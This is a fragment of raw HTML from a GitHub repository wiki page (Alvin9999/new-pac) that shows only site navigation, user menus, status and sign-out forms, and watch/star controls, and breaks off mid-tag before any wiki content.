flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1z"/></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0 0 13 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 0 0 0-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"/></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this repository"> In this repository </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-global-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href=""> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1z"/></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0 0 13 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 0 0 0-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"/></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this repository"> In this repository </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-center flex-items-center p-0 f5 js-jump-to-suggestion"> <img src="https://github.githubassets.com/images/spinners/octocat-spinner-128.gif" alt="Octocat Spinner Icon" class="m-2" width="28"> </li> </ul> </div> </label> </form> </div> </div> </div> <ul class="d-lg-flex pl-lg-2 flex-items-center text-bold list-style-none"> <li class="d-lg-none"> <a class="HeaderNavlink px-lg-2 py-2 py-lg-0" data-ga-click="Header, click, Nav menu - item:dashboard:user" aria-label="Dashboard" href="/dashboard"> Dashboard </a> </li> <li> <a class="js-selected-navigation-item HeaderNavlink px-lg-2 py-2 py-lg-0" data-hotkey="g p" data-ga-click="Header, click, Nav menu - item:pulls context:user" aria-label="Pull requests you created" data-selected-links="/pulls /pulls/assigned /pulls/mentioned /pulls" href="/pulls"> Pull requests </a> </li> <li> <a class="js-selected-navigation-item HeaderNavlink px-lg-2 py-2 py-lg-0" data-hotkey="g i" data-ga-click="Header, click, Nav menu - item:issues context:user" aria-label="Issues you created" data-selected-links="/issues /issues/assigned /issues/mentioned /issues" href="/issues"> Issues </a> </li> <li class="position-relative"> <a class="js-selected-navigation-item HeaderNavlink px-lg-2 py-2 py-lg-0" data-ga-click="Header, click, Nav menu - item:marketplace context:user" data-octo-click="marketplace_click" data-octo-dimensions="location:nav_bar" data-selected-links=" /marketplace" href="/marketplace"> Marketplace </a> </li> <li> <a class="js-selected-navigation-item HeaderNavlink px-lg-2 py-2 py-lg-0" data-ga-click="Header, click, Nav menu - item:explore" data-selected-links="/explore /trending /trending/developers /integrations /integrations/feature/code /integrations/feature/collaborate /integrations/feature/ship showcases showcases_search showcases_landing /explore" href="/explore"> Explore </a> </li> </ul> </nav> <div class="d-lg-flex"> <ul class="user-nav d-lg-flex flex-items-center list-style-none" id="user-links"> <li class="dropdown"> <span class="d-none d-lg-block px-2"> <a aria-label="You have no unread notifications" class="notification-indicator tooltipped tooltipped-s my-2 my-lg-0 js-socket-channel js-notification-indicator" data-hotkey="g n" data-ga-click="Header, go to notifications, icon:read" data-channel="notification-changed:47923458" href="/notifications"> <span class="mail-status "></span> <svg class="octicon octicon-bell" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M14 12v1H0v-1l.73-.58c.77-.77.81-2.55 1.19-4.42C2.69 3.23 6 2 6 2c0-.55.45-1 1-1s1 .45 1 1c0 0 3.39 1.23 4.16 5 .38 1.88.42 3.66 1.19 4.42l.66.58H14zm-7 4c1.11 0 2-.89 2-2H5c0 1.11.89 2 2 2z"/></svg> </a> </span> </li> <li class="dropdown"> <details class="details-overlay details-reset d-none d-lg-flex px-lg-2 py-2 py-lg-0 flex-items-center"> <summary class="HeaderNavlink" aria-label="Create new…" data-ga-click="Header, create new, icon:add"> <svg class="octicon octicon-plus float-left mr-1 mt-1" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 9H7v5H5V9H0V7h5V2h2v5h5v2z"/></svg> <span class="dropdown-caret mt-1"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw"> <a role="menuitem" class="dropdown-item" href="/new" data-ga-click="Header, create new repository"> New repository </a> <a role="menuitem" class="dropdown-item" href="/new/import" data-ga-click="Header, import a repository"> Import repository </a> <a role="menuitem" class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, create new gist"> New gist </a> <a role="menuitem" class="dropdown-item" href="/organizations/new" data-ga-click="Header, create new organization"> New organization </a> <div class="dropdown-divider"></div> <div class="dropdown-header"> <span title="Alvin9999/new-pac">This repository</span> </div> <a role="menuitem" class="dropdown-item" href="/Alvin9999/new-pac/issues/new" data-ga-click="Header, create new issue"> New issue </a> </details-menu> </details> </li> <li class="dropdown"> <a class="d-lg-none HeaderNavlink name tooltipped tooltipped-sw px-lg-2 py-2 py-lg-0" href="/p4g5" aria-label="View profile and more" aria-expanded="false" aria-haspopup="false"> <img alt="@p4g5" class="avatar float-left mr-1" src="https://avatars2.githubusercontent.com/u/47923458?s=40&v=4" height="20" width="20"> <span class="text-bold">p4g5</span> </a> <details class="details-overlay details-reset d-none d-lg-flex pl-lg-2 py-2 py-lg-0 flex-items-center"> <summary class="HeaderNavlink name mt-1" aria-label="View profile and more" data-ga-click="Header, show menu, icon:avatar"> <img alt="@p4g5" class="avatar float-left mr-1" src="https://avatars2.githubusercontent.com/u/47923458?s=40&v=4" height="20" width="20"> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw"> <div class="header-nav-current-user css-truncate"><a role="menuitem" class="no-underline user-profile-link px-3 pt-2 pb-2 mb-n2 mt-n1 d-block" href="/p4g5" data-ga-click="Header, go to profile, text:Signed in as">Signed in as <strong class="css-truncate-target">p4g5</strong></a></div> <div role="none" class="dropdown-divider"></div> <div class="px-3 f6 user-status-container js-user-status-context pb-1" data-url="/users/status?compact=1&link_mentions=0&truncate=1"> <div class="js-user-status-container user-status-compact" data-team-hovercards-enabled> <details class="js-user-status-details details-reset details-overlay details-overlay-dark"> <summary class="btn-link no-underline js-toggle-user-status-edit toggle-user-status-edit width-full" aria-haspopup="dialog" role="menuitem" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":12132898,"target":"EDIT_USER_STATUS","user_id":47923458,"client_id":"1815209117.1550905425","originating_request_id":"818C:75AC:15C5D83:291B1C2:5C7218B8","originating_url":"https://github.com/Alvin9999/new-pac/wiki"}}" data-hydro-click-hmac="ced5050557a7bdc853d992aa928100040ac79be23fc4cb6ea21f7760d65c248f"> <div class="f6 d-inline-block v-align-middle user-status-emoji-only-header pl-0 circle lh-condensed user-status-header " style="max-width: 29px"> <div class="user-status-emoji-container flex-shrink-0 mr-1"> <svg class="octicon octicon-smiley" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8zm4.81 12.81a6.72 6.72 0 0 1-2.17 1.45c-.83.36-1.72.53-2.64.53-.92 0-1.81-.17-2.64-.53-.81-.34-1.55-.83-2.17-1.45a6.773 6.773 0 0 1-1.45-2.17A6.59 6.59 0 0 1 1.21 8c0-.92.17-1.81.53-2.64.34-.81.83-1.55 1.45-2.17.62-.62 1.36-1.11 2.17-1.45A6.59 6.59 0 0 1 8 1.21c.92 0 1.81.17 2.64.53.81.34 1.55.83 2.17 1.45.62.62 1.11 1.36 1.45 2.17.36.83.53 1.72.53 2.64 0 .92-.17 1.81-.53 2.64-.34.81-.83 1.55-1.45 2.17zM4 6.8v-.59c0-.66.53-1.19 1.2-1.19h.59c.66 0 1.19.53 1.19 1.19v.59c0 .67-.53 1.2-1.19 1.2H5.2C4.53 8 4 7.47 4 6.8zm5 0v-.59c0-.66.53-1.19 1.2-1.19h.59c.66 0 1.19.53 1.19 1.19v.59c0 .67-.53 1.2-1.19 1.2h-.59C9.53 8 9 7.47 9 6.8zm4 3.2c-.72 1.88-2.91 3-5 3s-4.28-1.13-5-3c-.14-.39.23-1 .66-1h8.59c.41 0 .89.61.75 1z"/></svg> </div> </div> <div class="d-inline-block v-align-middle user-status-message-wrapper f6 lh-condensed ws-normal pt-1"> <span class="link-gray">Set your status</span> </div> </summary> <details-dialog class="details-dialog rounded-1 anim-fade-in fast Box Box--overlay" role="dialog" tabindex="-1"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="position-relative flex-auto js-user-status-form" action="/users/status?compact=1&link_mentions=0&truncate=1" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="_method" value="put" /><input type="hidden" name="authenticity_token" value="UhUocX8QxRCQfi0VVq50V8DOQgt0VtegaH303QE9m8PCCEjaixc+T4i9Uc+Hu37cMb2xXx4TolEIzX4hl4y0uw==" /> <div class="Box-header bg-gray border-bottom p-3"> <button class="Box-btn-octicon js-toggle-user-status-edit btn-octicon float-right" type="reset" aria-label="Close dialog" data-close-dialog> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"/></svg> </button> <h3 class="Box-title f5 text-bold text-gray-dark">Edit status</h3> </div> <input type="hidden" name="emoji" class="js-user-status-emoji-field" value=""> <input type="hidden" name="organization_id" class="js-user-status-org-id-field" value=""> <div class="px-3 py-2 text-gray-dark"> <div class="js-characters-remaining-container js-suggester-container position-relative mt-2"> <div class="input-group d-table form-group my-0 js-user-status-form-group"> <span class="input-group-button d-table-cell v-align-middle" style="width: 1%"> <button type="button" aria-label="Choose an emoji" class="btn-outline btn js-toggle-user-status-emoji-picker bg-white btn-open-emoji-picker"> <span class="js-user-status-original-emoji" hidden></span> <span class="js-user-status-custom-emoji"></span> <span class="js-user-status-no-emoji-icon" > <svg class="octicon octicon-smiley" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8zm4.81 12.81a6.72 6.72 0 0 1-2.17 1.45c-.83.36-1.72.53-2.64.53-.92 0-1.81-.17-2.64-.53-.81-.34-1.55-.83-2.17-1.45a6.773 6.773 0 0 1-1.45-2.17A6.59 6.59 0 0 1 1.21 8c0-.92.17-1.81.53-2.64.34-.81.83-1.55 1.45-2.17.62-.62 1.36-1.11 2.17-1.45A6.59 6.59 0 0 1 8 1.21c.92 0 1.81.17 2.64.53.81.34 1.55.83 2.17 1.45.62.62 1.11 1.36 1.45 2.17.36.83.53 1.72.53 2.64 0 .92-.17 1.81-.53 2.64-.34.81-.83 1.55-1.45 2.17zM4 6.8v-.59c0-.66.53-1.19 1.2-1.19h.59c.66 0 1.19.53 1.19 1.19v.59c0 .67-.53 1.2-1.19 1.2H5.2C4.53 8 4 7.47 4 6.8zm5 0v-.59c0-.66.53-1.19 1.2-1.19h.59c.66 0 1.19.53 1.19 1.19v.59c0 .67-.53 1.2-1.19 1.2h-.59C9.53 8 9 7.47 9 6.8zm4 3.2c-.72 1.88-2.91 3-5 3s-4.28-1.13-5-3c-.14-.39.23-1 .66-1h8.59c.41 0 .89.61.75 1z"/></svg> </span> </button> </span> <input type="text" autocomplete="off" autofocus data-maxlength="80" class="js-suggester-field d-table-cell width-full form-control js-user-status-message-field js-characters-remaining-field" placeholder="What's happening?" name="message" required value="" aria-label="What is your current status?"> <div class="error">Could not update your status, please try again.</div> </div> <div class="suggester-container"> <div class="suggester js-suggester js-navigation-container" data-url="/autocomplete/user-suggestions" data-no-org-url="/autocomplete/user-suggestions" data-org-url="/suggestions" hidden> </div> </div> <div style="margin-left: 53px" class="my-1 text-small label-characters-remaining js-characters-remaining" data-suffix="remaining" hidden> 80 remaining </div> </div> <include-fragment class="js-user-status-emoji-picker" data-url="/users/status/emoji"></include-fragment> <div class="overflow-auto" style="max-height: 33vh"> <div class="user-status-suggestions js-user-status-suggestions"> <h4 class="f6 text-normal my-3">Suggestions:</h4> <div class="mx-3 mt-2 clearfix"> <div class="float-left col-6"> <button type="button" value=":palm_tree:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link link-gray no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="palm_tree" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f334.png">🌴</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message" style="border-left: 1px solid transparent"> On vacation </div> </button> <button type="button" value=":face_with_thermometer:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link link-gray no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="face_with_thermometer" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f912.png">🤒</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message" style="border-left: 1px solid transparent"> Out sick </div> </button> </div> <div class="float-left col-6"> <button type="button" value=":house:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link link-gray no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="house" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3e0.png">🏠</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message" style="border-left: 1px solid transparent"> Working from home </div> </button> <button type="button" value=":dart:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link link-gray no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="dart" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3af.png">🎯</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message" style="border-left: 1px solid transparent"> Focusing </div> </button> </div> </div> </div> <div class="user-status-limited-availability-container"> <div class="form-checkbox my-0"> <input type="checkbox" name="limited_availability" value="1" class="js-user-status-limited-availability-checkbox" data-default-message="I may be slow to respond." aria-describedby="limited-availability-help-text-truncate-true" id="limited-availability-truncate-true"> <label class="d-block f5 text-gray-dark mb-1" for="limited-availability-truncate-true"> Busy </label> <p class="note" id="limited-availability-help-text-truncate-true"> When others mention you, assign you, or request your review, GitHub will let them know that you have limited availability. </p> </div> </div> </div> <include-fragment class="js-user-status-org-picker" data-url="/users/status/organizations"></include-fragment> </div> <div class="d-flex flex-items-center flex-justify-between p-3 border-top"> <button type="submit" disabled class="width-full btn btn-primary mr-2 js-user-status-submit"> Set status </button> <button type="button" disabled class="width-full js-clear-user-status-button btn ml-2 "> Clear status </button> </div> </form> </details-dialog> </details> </div> </div> <div role="none" class="dropdown-divider"></div> <a role="menuitem" class="dropdown-item" href="/p4g5" data-ga-click="Header, go to profile, text:your profile">Your profile</a> <a role="menuitem" class="dropdown-item" href="/p4g5?tab=repositories" data-ga-click="Header, go to repositories, text:your repositories">Your repositories</a> <a role="menuitem" class="dropdown-item" href="/p4g5?tab=projects" data-ga-click="Header, go to projects, text:your projects">Your projects</a> <a role="menuitem" class="dropdown-item" href="/p4g5?tab=stars" data-ga-click="Header, go to starred repos, text:your stars">Your stars</a> <a role="menuitem" class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, your gists, text:your gists">Your gists</a> <div role="none" class="dropdown-divider"></div> <a role="menuitem" class="dropdown-item" href="https://help.github.com" data-ga-click="Header, go to help, text:help">Help</a> <a role="menuitem" class="dropdown-item" href="/settings/profile" data-ga-click="Header, go to settings, icon:settings">Settings</a> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="logout-form" action="/logout" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="Y8HcCFJNTD+hYd7Kv9FtT+Xxj7WUTAFihH0C9cLChd+JHtM9aCiGPnCGrrkcg/KpMKG0LJm8JbL5T2kPHqYNjQ==" /> <button type="submit" class="dropdown-item dropdown-signout" data-ga-click="Header, sign out, icon:logout" role="menuitem"> Sign out </button> </form> </details-menu> </details> </li> </ul> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="d-lg-none" action="/logout" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="oluBBaw9qfMJXUP8GdR5bZc9/Gw7dMAE2fQ5JlOw2OBIhI4wllhj8ti6M4+6huaLQm3H9TaE5NSkxlLcj9RQsg==" /> <button type="submit" class="btn-link HeaderNavlink d-block width-full text-left py-2 text-bold" data-ga-click="Header, sign out, icon:logout" style="padding-left: 2px;"> <svg class="octicon octicon-sign-out v-align-middle" style="margin-right: 2px;" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 9V7H8V5h4V3l4 3-4 3zm-2 3H6V3L2 1h8v3h1V1c0-.55-.45-1-1-1H1C.45 0 0 .45 0 1v11.38c0 .39.22.73.55.91L6 16.01V13h4c.55 0 1-.45 1-1V8h-1v4z"/></svg> Sign out </button> </form> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="sr-only right-0" action="/logout" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="b0Bgz4mqScE7zq0QVm08tZv5z1OzCVx+ozCI3NlInJaFn2/6s8+DwOop3WP1P6NTTqn0yr75eK7eAuMmBSwUxA==" /> <button type="submit" class="dropdown-item dropdown-signout" data-ga-click="Header, sign out, icon:logout"> Sign out </button> </form> </div> </div> </div> </header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container"> </div> <div role="main" class="application-main " data-commit-hovercards-enabled> <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <div > <div class="pagehead repohead instapaper_ignore readability-menu experiment-repo-nav pt-0 pt-lg-3 "> <div class="repohead-details-container clearfix container-lg p-responsive d-none d-lg-block"> <ul class="pagehead-actions"> <li> <!-- '"` --><!-- </textarea></xmp> --></option></form><form data-remote="true" class="js-social-form js-social-container" action="/notifications/subscribe" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="KK6/k23EkvBozTQwWgEA5FH8ZX5XVrBLzcGpR4JinAhq7/tIjemrK8lhd0do997jcIFVbSagHOTaRJTrAyLvEQ==" /> <input type="hidden" name="repository_id" id="repository_id" value="54544023" class="form-control" /> <details class="details-reset details-overlay select-menu float-left"> <summary class="btn btn-sm btn-with-count select-menu-button" data-ga-click="Repository, click Watch settings, action:wiki#index"> <span data-menu-button> <svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg> Watch </span> </summary> <details-menu class="select-menu-modal position-absolute mt-5" style="z-index: 99;"> <div class="select-menu-header"> <span class="select-menu-title">Notifications</span> </div> <div class="select-menu-list"> <button type="submit" name="do" value="included" class="select-menu-item width-full" aria-checked="true" role="menuitemradio"> <svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg> <div class="select-menu-item-text"> <span class="select-menu-item-heading">Not watching</span> <span class="description">Be notified only when participating or @mentioned.</span> <span class="hidden-select-button-text" data-menu-button-contents> <svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg> Watch </span> </div> </button> <button type="submit" name="do" value="release_only" class="select-menu-item width-full" aria-checked="false" role="menuitemradio"> <svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg> <div class="select-menu-item-text"> <span class="select-menu-item-heading">Releases only</span> <span class="description">Be notified of new releases, and when participating or @mentioned.</span> <span class="hidden-select-button-text" data-menu-button-contents> <svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg> Unwatch releases </span> </div> </button> <button type="submit" name="do" value="subscribed" class="select-menu-item width-full" aria-checked="false" role="menuitemradio"> <svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg> <div class="select-menu-item-text"> <span class="select-menu-item-heading">Watching</span> <span class="description">Be notified of all conversations.</span> <span class="hidden-select-button-text" data-menu-button-contents> <svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg> Unwatch </span> </div> </button> <button type="submit" name="do" value="ignore" class="select-menu-item width-full" aria-checked="false" role="menuitemradio"> <svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg> <div class="select-menu-item-text"> <span class="select-menu-item-heading">Ignoring</span> <span class="description">Never be notified.</span> <span class="hidden-select-button-text" data-menu-button-contents> <svg class="octicon octicon-mute v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 2.81v10.38c0 .67-.81 1-1.28.53L3 10H1c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h2l3.72-3.72C7.19 1.81 8 2.14 8 2.81zm7.53 3.22l-1.06-1.06-1.97 1.97-1.97-1.97-1.06 1.06L11.44 8 9.47 9.97l1.06 1.06 1.97-1.97 1.97 1.97 1.06-1.06L13.56 8l1.97-1.97z"/></svg> Stop ignoring </span> </div> </button> </div> </details-menu> </details> <a class="social-count js-social-count" href="/Alvin9999/new-pac/watchers" aria-label="885 users are watching this repository"> 885 </a> </form> </li> <li> <div class="js-toggler-container js-social-container starring-container "> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="starred js-social-form" action="/Alvin9999/new-pac/unstar" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="GTo3eO2YhEo8L7lENMkL+RSLnBTchg9YTdhcTMAWPQx/JBU/tuW7iAaYUuM24agiYdiJviImlX0ddi4rMZdncg==" /> <input type="hidden" name="context" value="repository"></input> <button type="submit" class="btn btn-sm btn-with-count js-toggler-target" aria-label="Unstar this repository" title="Unstar Alvin9999/new-pac" data-ga-click="Repository, click unstar button, action:wiki#index; text:Unstar"> <svg class="octicon octicon-star v-align-text-bottom" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74L14 6z"/></svg> Unstar </button> <a class="social-count js-social-count" href="/Alvin9999/new-pac/stargazers" aria-label="10597 users starred this repository"> 10,597 </a> </form> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="unstarred js-social-form" action="/Alvin9999/new-pac/star" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" 